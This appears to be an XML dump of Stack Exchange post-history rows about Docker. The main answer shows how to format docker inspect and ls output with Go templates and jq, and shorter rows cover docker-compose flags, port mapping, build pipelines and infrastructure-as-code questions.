  <row Id="19960" PostHistoryTypeId="5" PostId="6242" RevisionGUID="b080fbc6-1705-45cf-ab5e-2ae6bed69d5f" CreationDate="2019-02-05T20:09:12.710" UserId="11179" Comment="added 1248 characters in body" Text="I take the risk of being downvoted here, but I find Go templates a nightmare to use beyond the most basic use cases. Don't take me wrong: they are extremely powerful as you can guess it by [reading the docs](https://golang.org/pkg/text/template/), but I find the syntax unfriendly, and for the most complex cases, I prefer parsing the JSON output with [`jq`](https://stedolan.github.io/jq/). Anyway:&#xD;&#xA;&#xD;&#xA;# Formatting `expect` commands&#xD;&#xA;&#xD;&#xA;    sho$ CID=$(sudo docker run --rm -d busybox sleep 3000)                                                                                         &#xD;&#xA;    sh$ sudo docker inspect $CID&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Id&quot;: &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-02-05T16:41:40.040349047Z&quot;,&#xD;&#xA;            &quot;Path&quot;: &quot;sleep&quot;,&#xD;&#xA;            &quot;Args&quot;: [&#xD;&#xA;                &quot;3000&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;State&quot;: {&#xD;&#xA;                &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;                &quot;Running&quot;: true,&#xD;&#xA;                &quot;Paused&quot;: false,&#xD;&#xA;                &quot;Restarting&quot;: false,&#xD;&#xA;                &quot;OOMKilled&quot;: false,&#xD;&#xA;                &quot;Dead&quot;: false,&#xD;&#xA;                &quot;Pid&quot;: 26467,&#xD;&#xA;                &quot;ExitCode&quot;: 0,&#xD;&#xA;                &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;                &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;                &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Image&quot;: &quot;sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444&quot;,&#xD;&#xA;            &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/resolv.conf&quot;,&#xD;&#xA;            &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hostname&quot;,&#xD;&#xA;            &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hosts&quot;,&#xD;&#xA;            &quot;LogPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967-json.log&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;/vibrant_shaw&quot;,&#xD;&#xA;            &quot;RestartCount&quot;: 0,&#xD;&#xA;            &quot;Driver&quot;: &quot;aufs&quot;,&#xD;&#xA;            &quot;Platform&quot;: &quot;linux&quot;,&#xD;&#xA;            &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AppArmorProfile&quot;: &quot;docker-default&quot;,&#xD;&#xA;            &quot;ExecIDs&quot;: null,&#xD;&#xA;            &quot;HostConfig&quot;: {&#xD;&#xA;                &quot;Binds&quot;: null,&#xD;&#xA;                &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;               &quot;LogConfig&quot;: {&#xD;&#xA;                    &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                    &quot;Config&quot;: {}&#xD;&#xA;                },&#xD;&#xA;                &quot;NetworkMode&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;PortBindings&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;no&quot;,&#xD;&#xA;                    &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;                },&#xD;&#xA;                &quot;AutoRemove&quot;: true,&#xD;&#xA;                &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;                &quot;VolumesFrom&quot;: null,&#xD;&#xA;                &quot;CapAdd&quot;: null,&#xD;&#xA;                &quot;CapDrop&quot;: null,&#xD;&#xA;                &quot;Dns&quot;: [],&#xD;&#xA;                &quot;DnsOptions&quot;: [],&#xD;&#xA;                &quot;DnsSearch&quot;: [],&#xD;&#xA;                &quot;ExtraHosts&quot;: null,&#xD;&#xA;                &quot;GroupAdd&quot;: null,&#xD;&#xA;                &quot;IpcMode&quot;: &quot;shareable&quot;,&#xD;&#xA;                &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Links&quot;: null,&#xD;&#xA;                &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;                &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Privileged&quot;: false,&#xD;&#xA;                &quot;PublishAllPorts&quot;: false,&#xD;&#xA;                &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;                &quot;SecurityOpt&quot;: null,&#xD;&#xA;                &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;ShmSize&quot;: 67108864,&#xD;&#xA;                &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;                &quot;ConsoleSize&quot;: [&#xD;&#xA;                    0,&#xD;&#xA;                    0&#xD;&#xA;                ],&#xD;&#xA;                &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpuShares&quot;: 0,&#xD;&#xA;                &quot;Memory&quot;: 0,&#xD;&#xA;                &quot;NanoCpus&quot;: 0,&#xD;&#xA;                &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;                &quot;BlkioWeight&quot;: 0,&#xD;&#xA;                &quot;BlkioWeightDevice&quot;: [],&#xD;&#xA;                &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;                &quot;CpuPeriod&quot;: 0,&#xD;&#xA;                &quot;CpuQuota&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;                &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Devices&quot;: [],&#xD;&#xA;                &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;                &quot;DiskQuota&quot;: 0,&#xD;&#xA;                &quot;KernelMemory&quot;: 0,&#xD;&#xA;                &quot;MemoryReservation&quot;: 0,&#xD;&#xA;                &quot;MemorySwap&quot;: 0,&#xD;&#xA;                &quot;MemorySwappiness&quot;: null,&#xD;&#xA;                &quot;OomKillDisable&quot;: false,&#xD;&#xA;                &quot;PidsLimit&quot;: 0,&#xD;&#xA;                &quot;Ulimits&quot;: null,&#xD;&#xA;                &quot;CpuCount&quot;: 0,&#xD;&#xA;                &quot;CpuPercent&quot;: 0,&#xD;&#xA;                &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;                &quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;                &quot;MaskedPaths&quot;: [&#xD;&#xA;                    &quot;/proc/acpi&quot;,&#xD;&#xA;                    &quot;/proc/kcore&quot;,&#xD;&#xA;                    &quot;/proc/keys&quot;,&#xD;&#xA;                    &quot;/proc/latency_stats&quot;,&#xD;&#xA;                    &quot;/proc/timer_list&quot;,&#xD;&#xA;                    &quot;/proc/timer_stats&quot;,&#xD;&#xA;                    &quot;/proc/sched_debug&quot;,&#xD;&#xA;                    &quot;/proc/scsi&quot;,&#xD;&#xA;                    &quot;/sys/firmware&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                    &quot;/proc/asound&quot;,&#xD;&#xA;                    &quot;/proc/bus&quot;,&#xD;&#xA;                    &quot;/proc/fs&quot;,&#xD;&#xA;                    &quot;/proc/irq&quot;,&#xD;&#xA;                    &quot;/proc/sys&quot;,&#xD;&#xA;                    &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;GraphDriver&quot;: {&#xD;&#xA;                &quot;Data&quot;: null,&#xD;&#xA;                &quot;Name&quot;: &quot;aufs&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Mounts&quot;: [],&#xD;&#xA;            &quot;Config&quot;: {&#xD;&#xA;                &quot;Hostname&quot;: &quot;0470a3549d2f&quot;,&#xD;&#xA;                &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;                &quot;User&quot;: &quot;&quot;,&#xD;&#xA;                &quot;AttachStdin&quot;: false,&#xD;&#xA;                &quot;AttachStdout&quot;: false,&#xD;&#xA;                &quot;AttachStderr&quot;: false,&#xD;&#xA;                &quot;Tty&quot;: false,&#xD;&#xA;                &quot;OpenStdin&quot;: false,&#xD;&#xA;                &quot;StdinOnce&quot;: false,&#xD;&#xA;                &quot;Env&quot;: [&#xD;&#xA;                    &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Cmd&quot;: [&#xD;&#xA;                    &quot;sleep&quot;,&#xD;&#xA;                    &quot;3000&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Image&quot;: &quot;busybox&quot;,&#xD;&#xA;                &quot;Volumes&quot;: null,&#xD;&#xA;                &quot;WorkingDir&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Entrypoint&quot;: null,&#xD;&#xA;                &quot;OnBuild&quot;: null,&#xD;&#xA;                &quot;Labels&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkSettings&quot;: {&#xD;&#xA;                &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;                &quot;SandboxID&quot;: &quot;654da638965d9bb26e394ba61036ea713bdccb6304eb09bee86f3c0611a26ca5&quot;,&#xD;&#xA;                &quot;HairpinMode&quot;: false,&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;Ports&quot;: {},&#xD;&#xA;                &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/654da638965d&quot;,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                &quot;Networks&quot;: {&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;Links&quot;: null,&#xD;&#xA;                        &quot;Aliases&quot;: null,&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;5ec8728b05efd5ce6bfde5cbe6e42f247348345e0fdfb305fda76566327fc151&quot;,&#xD;&#xA;                        &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                        &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                        &quot;DriverOpts&quot;: null&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;## Returning scalar properties&#xD;&#xA;&#xD;&#xA;You can query any scalar attribute by its name, prefixed by a dot:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Id}}&#xD;&#xA;    0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Name}} {{.Driver}}'&#xD;&#xA;    /vibrant_shaw aufs&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].Id'&#xD;&#xA;    &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[]|(.Name,.Driver)'&#xD;&#xA;    &quot;/vibrant_shaw&quot;&#xD;&#xA;    &quot;aufs&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also query nested fields:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State.Running}}'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sudo docker inspect $CID | jq '.[].State.Running'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;## Returning entire objects and arrays&#xD;&#xA;&#xD;&#xA;But it does not work as expected for nested structures:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State}}'&#xD;&#xA;    {running true false false false false 26467 0  2019-02-05T16:41:40.659056612Z 0001-01-01T00:00:00Z &lt;nil&gt;}&#xD;&#xA;&#xD;&#xA;You end up having the data, but without the field names, it is pretty useless--unless you are assuming some predefined field order (something that is probably not safe).&#xD;&#xA;&#xD;&#xA;When accessing entire objects, there are chances you want an [explicit formatter](https://docs.docker.com/config/formatting/):&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .State}}'&#xD;&#xA;    {&quot;Status&quot;:&quot;running&quot;,&quot;Running&quot;:true,&quot;Paused&quot;:false,&quot;Restarting&quot;:false,&quot;OOMKilled&quot;:false,&quot;Dead&quot;:false,&quot;Pid&quot;:26467,&quot;ExitCode&quot;:0,&quot;Error&quot;:&quot;&quot;,&quot;StartedAt&quot;:&quot;2019-02-05T16:41:40.659056612Z&quot;,&quot;FinishedAt&quot;:&quot;0001-01-01T00:00:00Z&quot;}&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].State'&#xD;&#xA;    {&#xD;&#xA;      &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;      &quot;Running&quot;: true,&#xD;&#xA;      &quot;Paused&quot;: false,&#xD;&#xA;      &quot;Restarting&quot;: false,&#xD;&#xA;      &quot;OOMKilled&quot;: false,&#xD;&#xA;      &quot;Dead&quot;: false,&#xD;&#xA;      &quot;Pid&quot;: 26467,&#xD;&#xA;      &quot;ExitCode&quot;: 0,&#xD;&#xA;      &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;      &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;      &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Same thing for arrays:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [/proc/asound /proc/bus /proc/fs /proc/irq /proc/sys /proc/sysrq-trigger]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [&quot;/proc/asound&quot;,&quot;/proc/bus&quot;,&quot;/proc/fs&quot;,&quot;/proc/irq&quot;,&quot;/proc/sys&quot;,&quot;/proc/sysrq-trigger&quot;]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{join .HostConfig.ReadonlyPaths &quot;:&quot;}}'&#xD;&#xA;    /proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths'&#xD;&#xA;    [&#xD;&#xA;      &quot;/proc/asound&quot;,&#xD;&#xA;      &quot;/proc/bus&quot;,&#xD;&#xA;      &quot;/proc/fs&quot;,&#xD;&#xA;      &quot;/proc/irq&quot;,&#xD;&#xA;      &quot;/proc/sys&quot;,&#xD;&#xA;      &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;    ]&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths | join(&quot;:&quot;)'&#xD;&#xA;    &quot;/proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Arrays of objects&#xD;&#xA;&#xD;&#xA;More complicated (according to my limited Go Template skills) is accessing fields nested in an array of objects:&#xD;&#xA;&#xD;&#xA;    # This works as expected&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{json .IPAM.Config}}'&#xD;&#xA;    [{&quot;Subnet&quot;:&quot;172.17.0.0/16&quot;,&quot;Gateway&quot;:&quot;172.17.0.1&quot;}]&#xD;&#xA;&#xD;&#xA;    # But not that&#xD;&#xA;    sudo docker network inspect bridge --format '{{.IPAM.Config.Gateway}}'&#xD;&#xA;    &#xD;&#xA;    Template parsing error: template: :1:7: executing &quot;&quot; at &lt;.IPAM.Config.Gateway&gt;: can't evaluate field Gateway in type interface {}&#xD;&#xA;&#xD;&#xA;When I want to extract such nested value, I resort on an explicit range loop:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq '.[].IPAM.Config[].Gateway'&#xD;&#xA;    &quot;172.17.0.1&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq -r '.[].IPAM.Config[].Gateway'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;# Formatting `ls` commands&#xD;&#xA;&#xD;&#xA;With the `json` formatter, we can obtain (some? all?) the possible selectors you can later use with `--format`:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network ls --format '{{json .}}'&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-01-07 14:28:55.63238018 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;5ec8728b05ef&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;bridge&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 15:36:57.701603791 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;45d6f09ca923&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.network=default,com.docker.compose.project=compose-demo,com.docker.compose.version=1.23.2&quot;,&quot;Name&quot;:&quot;compose-demo_default&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 17:30:47.98883918 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;aaff418d1c56&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.network=net,com.docker.compose.project=compose-demo,com.docker.compose.version=1.23.2&quot;,&quot;Name&quot;:&quot;compose-demo_net&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2018-05-26 10:31:48.149819089 +0200 CEST&quot;,&quot;Driver&quot;:&quot;host&quot;,&quot;ID&quot;:&quot;988954899b53&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;host&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2018-05-26 10:31:48.118573602 +0200 CEST&quot;,&quot;Driver&quot;:&quot;null&quot;,&quot;ID&quot;:&quot;ce1680ed377f&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;&quot;,&quot;Name&quot;:&quot;none&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;    {&quot;CreatedAt&quot;:&quot;2019-02-05 19:44:21.286955573 +0100 CET&quot;,&quot;Driver&quot;:&quot;bridge&quot;,&quot;ID&quot;:&quot;41c62c023d16&quot;,&quot;IPv6&quot;:&quot;false&quot;,&quot;Internal&quot;:&quot;false&quot;,&quot;Labels&quot;:&quot;com.docker.compose.version=1.23.2,com.docker.compose.network=default,com.docker.compose.project=test&quot;,&quot;Name&quot;:&quot;test_default&quot;,&quot;Scope&quot;:&quot;local&quot;}&#xD;&#xA;&#xD;&#xA;Here, you can see `docker network ls` exposes, among others, the &quot;ID&quot;, &quot;Driver&quot; and &quot;Scope&quot; fields. You can use them in your format:&#xD;&#xA;&#xD;&#xA;    sh$ $ sudo docker network ls --format '{{.ID}}: {{.Driver}} ({{.Scope}})'&#xD;&#xA;    5ec8728b05ef: bridge (local)&#xD;&#xA;    45d6f09ca923: bridge (local)&#xD;&#xA;    aaff418d1c56: bridge (local)&#xD;&#xA;    988954899b53: host (local)&#xD;&#xA;    ce1680ed377f: null (local)&#xD;&#xA;    41c62c023d16: bridge (local)&#xD;&#xA;&#xD;&#xA;# The best of both worlds&#xD;&#xA;&#xD;&#xA;The `docker ... ls` commands only exports a small subset of the docker object's properties. Depending your needs, you may prefer something along the lines of `docker ... inspect $(docker ... ls -q)`.&#xD;&#xA;&#xD;&#xA;For example, `docker image ls` does not export the image architecture. but you can obtain it with `docker image inspect`. If you want that information, you could use something like that:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker image inspect \&#xD;&#xA;             --format '{{.Id}}: {{.RepoTags}} ({{.Architecture}})' \&#xD;&#xA;             $(sudo docker image ls -q)&#xD;&#xA;    sha256:fc37804350a8adea0b41dba0c413a6c967140ca2ed6dfeefdbe88d7868902406: [compose-demo_monitor:latest] (amd64)&#xD;&#xA;    sha256:a6f30c0890bca94e3cf5930ad5c3358b06cb38450e92d4ddabeb208ee34383f8: [compose-demo_app:latest] (amd64)&#xD;&#xA;    sha256:a79892b33e0bb51598e9311cc1d23ca8d0e3013a5a15fd67d202d22ffd08a6af: [] (amd64)&#xD;&#xA;    sha256:394c82635f220db389b8532e316001674965b51679dbc8dff747d5f224e6d568: [] (amd64)&#xD;&#xA;    sha256:95f0c755feb65af441c0cb8727bb13b35517977a3bed06e4a3456c95d6a69dd4: [redis:5.0-alpine] (amd64)&#xD;&#xA;    sha256:1f6c34f7921c7b50ef4452737399b5cff0eb834fc183d188d82886fd23b7fc34: [node:8] (amd64)&#xD;&#xA;    sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444: [busybox:latest] (amd64)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19961" PostHistoryTypeId="2" PostId="6246" RevisionGUID="aa718e68-64d3-495e-a279-fb74cdfc6d0d" CreationDate="2019-02-05T20:27:29.350" UserId="7646" Text="Docker-compose's run reference includes the &quot;--service-ports&quot; flag.&#xD;&#xA;&#xD;&#xA;     --service-ports       Run command with the service's ports enabled and mapped&#xD;&#xA;                          to the host.&#xD;&#xA;&#xD;&#xA;Source: https://docs.docker.com/compose/reference/run/&#xD;&#xA;&#xD;&#xA;The description doesn't really tell me anything. Ports are mapped to the host on `docker-compose up` if I specify them in the docker-compose file. No matter if the flag is used or not.&#xD;&#xA;&#xD;&#xA;What is it for?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19962" PostHistoryTypeId="1" PostId="6246" RevisionGUID="aa718e68-64d3-495e-a279-fb74cdfc6d0d" CreationDate="2019-02-05T20:27:29.350" UserId="7646" Text="When would I use docker-compose's &quot;--service-ports&quot; flag?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19963" PostHistoryTypeId="3" PostId="6246" RevisionGUID="aa718e68-64d3-495e-a279-fb74cdfc6d0d" CreationDate="2019-02-05T20:27:29.350" UserId="7646" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19964" PostHistoryTypeId="2" PostId="6247" RevisionGUID="c923acc3-04a7-42c1-bf24-569504b75274" CreationDate="2019-02-05T23:08:30.937" UserId="10599" Text="At many companies (eg banks) the provenance of the code that gets out to live needs to be known and traceable. This is typically done by having a controlled build farm that builds from source. Release builds upload artefacts where they cannot be overwritten. The artefacts are then deployed by any number of mechanism that are traceable to an individual and an approved change request. This model is generally just referred to as a ”pipeline”.  &#xA;&#xA;Under such a model a ”dev host” or ”dev environment” can have anything and everything that developers want on it. It can use newer versions of software than are available in production. Its entirely down to the context whether that is going to cause problems with code failing testing in a live like environment. It's typical to put release build code through at least one test environment before live that is kept as similar to the live environment as possible. &#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="19968" PostHistoryTypeId="2" PostId="6249" RevisionGUID="7bd7f756-5f13-4d5d-8871-5e0464a8dde4" CreationDate="2019-02-06T04:47:48.593" UserId="11764" Text="You can launch a t2.micro instance in AWS and use it free for the first year. Check for the RAM and disk space and keep your docker image and container within those limits. You can either use AWS ECR as image registry or Docker Hub. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19969" PostHistoryTypeId="2" PostId="6250" RevisionGUID="23a9c754-c2fe-4e97-81f6-3dc07ac8229e" CreationDate="2019-02-06T04:55:10.057" UserId="11764" Text="May be you are using bridge network mode. In that case, you need to bind your host port to container port to use same port. &#xD;&#xA;So when you execute docker run, you may need to add &#xD;&#xA;-p 5000:5000 as a flag to docker run command. Also I don't see any expose in Dockerfile. So you may want to add EXPOSE 5000 in Dockerfile just above cmd. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19970" PostHistoryTypeId="5" PostId="6225" RevisionGUID="23b68c1b-4a79-42a4-acc8-857fd579d3a3" CreationDate="2019-02-06T05:00:22.930" UserId="6162" Comment="fixed terminology" Text="We have a typical multi layered web application:  a balancer, 2 web server 2 db server.&#xD;&#xA;&#xD;&#xA;I feel we strongly need to start using a kind of Infrastructure As Code in order to replicate easily environments, testing infrastructure updates, control production servers.&#xD;&#xA;&#xD;&#xA;I've never done that and I'm struggling to understand the workflow.&#xD;&#xA;I'm thinking something like this:&#xD;&#xA;&#xD;&#xA;- create locally my machines with docker and Dockerfiles.&#xD;&#xA;&#xD;&#xA;- use terraform to setup locally the infrastructure provided by docker. (Or docker-compose?)&#xD;&#xA;&#xD;&#xA;- reuse in some way the Dockerfiles to provide the production or staging machine (we don't use Docker in production, but rather AWS with EC2/AMI and RDS)&#xD;&#xA;&#xD;&#xA;- use ansible to deploy the application&#xD;&#xA;&#xD;&#xA;I'm not sure this is the way. Or maybe it's too complex&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19971" PostHistoryTypeId="4" PostId="6225" RevisionGUID="23b68c1b-4a79-42a4-acc8-857fd579d3a3" CreationDate="2019-02-06T05:00:22.930" UserId="6162" Comment="fixed terminology" Text="How to structure a IaC for production, and development?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19972" PostHistoryTypeId="6" PostId="6225" RevisionGUID="23b68c1b-4a79-42a4-acc8-857fd579d3a3" CreationDate="2019-02-06T05:00:22.930" UserId="6162" Comment="fixed terminology" Text="&lt;docker&gt;&lt;terraform&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19973" PostHistoryTypeId="24" PostId="6225" RevisionGUID="23b68c1b-4a79-42a4-acc8-857fd579d3a3" CreationDate="2019-02-06T05:00:22.930" Comment="Proposed by 6162 approved by -1 edit id of 931" ContentLicense="CC BY-SA 4.0" />
